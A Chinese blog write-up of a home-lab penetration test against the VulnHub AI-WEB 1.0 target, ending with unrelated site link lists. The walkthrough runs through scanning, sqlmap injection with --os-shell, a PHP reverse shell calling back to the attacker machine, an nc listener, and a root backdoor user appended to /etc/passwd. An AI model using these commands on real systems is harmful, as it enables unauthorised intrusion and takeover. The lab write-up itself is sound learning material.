在本机电脑上自行搭建了一个练手的靶场,下面是记录渗透过程


目录

一、确认靶机ip

二、端口&目录扫描

三、查看敏感目录

四、sql注入

五、get shell

六、系统提权


确认靶机ip

kali下有个工具可以扫描ip:netdiscover

看看哪一个比较可疑,在浏览器访问,最终确认是172

整理一下:

kali:192.168.37.131

目标机:192.168.37.172

端口&目录扫描

a)使用nmap工具扫描一下靶机端口的开放情况

nmap -sV -p 0-65535 192.168.37.172

b)目录扫描

确认完端口之后,尝试目录爆破:

dirb http://192.168.37.172

查看敏感目录

发现了3个目录,挨个试一下发现其他目录都是没有权限访问

尝试继续挖掘
http://192.168.0.105/m3diNf0下发现info.php文件记录这各种php信息

这信息后面应该会用到把,先放着,看看有没有其他信息,在http://192.168.0.105/se3reTdir777/uploads/没有挖到任何目录,此时回过头来看看上一级目录是什么

好像发现了不得了的信息,是一个信息输入框,第一时间想到啊了输入框是否存在sql注入。

sql注入

a)验证漏洞是否存在

将1'带入输入框后报错,说明将1'数据带入到数据库了,是有注入点的

b)启动sqlmap

burpsuite抓包

然后用sql跑一下

sqlmap -u "http://192.168.37.172/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 –dbs

接着一个个爆库表列

扫了这么久竟然没找到后台登录界面,嗯,去借鉴一下别人博客吧

get shell

上面发现的info.php是否有利用价值呢?

发现了网站的国内目录,尝试sql看能不能反弹个shell:

sqlmap -u "http://192.168.37.172/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/(之前一直尝试/home/www/html/web1x443290o2sdf92213/,发现不行,目前还搞不懂。)

系统提权

上传一个一句话木马进行反弹shell进行提权,先用python搭建一个简易的服务器,然后用wget进行下载:

a)先查看python的版本是2还是3

python2 :python -m SimpleHTTPServer 9000

python3 :python -m http.server 9000

b)wget -S http://192.168.37.172:9000/c1.php (靶机)

在这之前要先准备好这个文件,在本机上准备一个php文件,写入

<?php
$sock=fsockopen("192.168.37.131",9966);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

(注意:这里的ip地址192.168.37.131是你的kali的ip,端口可以随便写,不要冲突就行,其他建议照抄)

在本机浏览器测试,是否成功开启

c)下载到kali中

d)开始监听端口

新建一个终端:nc -lvp 9966监听端口

(我这里只是方便演示,乱填得端口,实际上是要监听写入的php脚本中的对应端口)

然后再运行刚刚上传过来的php文件:php.c1.php

这一步没反应的话可以尝试多输入几遍,此时在返回nc中查看

成功了,并且可以执行各种命令

e)添加用户

发现当前用户不是root用户但是这个用户可以对/etc/passwd 文件进行写入权限,所以我们试着添加一个用户看看:因为写入的时候密码是加密的,所以要先加密密码:

openssl passwd -1 -salt web123 111111

然后再来写入密码:

echo 'web123:$1$web123$uV5A1jaPfeOZ.15vlE6cR/:0:0::/root:/bin/bash'>>/etc/passwd

写进去以后直接切换用户的会报错:

f)提升为交互式shell,再切换用户:

python -c 'import pty;pty.spawn("/bin/bash")'

g)成功进入到root用户,得到flag:

总结一下:学习到了sqlmao反弹shell,python在本地搭建服务器

疑问:

(1)sqlmap --os-shell时,为什么是选择/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/这个路径,info中显示网站根目录明明是/home/www/html/web1x443290o2sdf92213

(2)python -c 'import pty;pty.spawn("/bin/bash")'这是什么,具体每一个参数代表什么

(3)写入账号密码:echo 'abc:$1$abc$yzqAxwzjwaO0BUFj9nRwF/:0:0::/root:/bin/bash'>>/etc/passwdsu又这是啥,这如果搞不懂,完全记不住,也不会灵活运用啊

vulnhub靶场之AI-WEB1.0渗透记录的更多相关文章

  1. vulnhub靶场之JANGOW: 1.0.1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:JANGOW: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/jangow/jango ...

  2. 【Vulnhub靶场】JANGOW: 1.0.1

    时隔这么久,终于开始做题了 环境准备 下载靶机,导入到virtualBox里面,这应该不用教了吧 开机可以看到,他已经给出了靶机的IP地址,就不用我们自己去探测了 攻击机IP地址为:192.168.2 ...

  3. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  4. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  5. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  6. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  7. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  8. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  9. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

随机推荐

  1. Mysql大概1700W大表删除1000W左右数据,发现数据大小和索引大小并没有减少思考

    MySQL删除操作其实是假删除 因为近期在重构优化一个业务的时候 发现有一张表(send_log)数据量将近1700W 左右  占用数据大小17G,索引18G左右  而我们的核心应用在使用的时候 会去 ...

  2. 学习笔记之Python人机交互小项目二:名片管理系统

    继上次利用列表相关知识做了简单的人机交互的小项目名字管理系统后,当学习到字典时,老师又让我们结合列表和字典的知识,结合一起做一个名片管理系统,这里分享给在学习Python的伙伴! 1.不使用函数 1 ...

  3. Redis缓存篇(三)缓存污染

    上一讲介绍了缓存满了,通过内存淘汰机制来淘汰掉数据.如果有的数据一直滞留在缓存中,但又没有应用使用,时间长了,就可能会占据大部分的缓存空间. 今天我们来学习一下缓存污染,以及如何解决缓存污染. 缓存污 ...

  4. 网络爬虫第一步:通用代码框架(python版)

    import requests def getHTMLText(url):     try:         r=requests.get(url,timeout=30)         r.rais ...

  5. Spring Boot -- 外部配置的属性使用

    Spring Boot允许使用propertities文件.yaml文件或者命令行参数作为外部配置. 命令行参数配置 Spring Boot可以基于jar包运行,打成jar包的程序可以直接通过下面的命 ...

  6. Laya 踩坑日记-BitmapFont 不显示空格

    项目中有用到艺术字,美术通过 bmfont64 将字体导给我了,结果发现在应用上 空格不显示 如图: 今天去深究了一下这个问题,发现是底层没封装好,然后自己改了一下下面是改过的 BitmapFont ...

  7. 微信小程序API交互的自定义封装

    目录 1,起因 2,优化成果 3,实现思路 4,完整代码 1,起因 哪天,正在蚂蚁森林疯狂偷能量的我被boss叫过去,告知我司要做一个线上直播公开课功能的微信小程序,博主第一次写小程序,复习了下文档, ...

  8. 【Linux】如何查找命令及历史记录history

    如何查找命令及历史记录 文章目录 如何查找命令及历史记录 1.如何找到一个命令 2.命令的历史记录 3.一些实用的快捷键 4.小结 5.参考资料 如何找到一个命令.命令的历史记录.一些实用的快捷键.总 ...

  9. 【Spring】Spring的事务管理 - 2、声明式事务管理(实现基于XML、Annotation的方式。)

    声明式事务管理 文章目录 声明式事务管理 基于XML方式的声明式事务 基于Annotation方式的声明式事务 简单记录 - 简单记录-Java EE企业级应用开发教程(Spring+Spring M ...

  10. leetcode 1593. 拆分字符串使唯一子字符串的数目最大(DFS,剪枝)

    题目链接 leetcode 1593. 拆分字符串使唯一子字符串的数目最大 题意: 给你一个字符串 s ,请你拆分该字符串,并返回拆分后唯一子字符串的最大数目. 字符串 s 拆分后可以得到若干 非空子 ...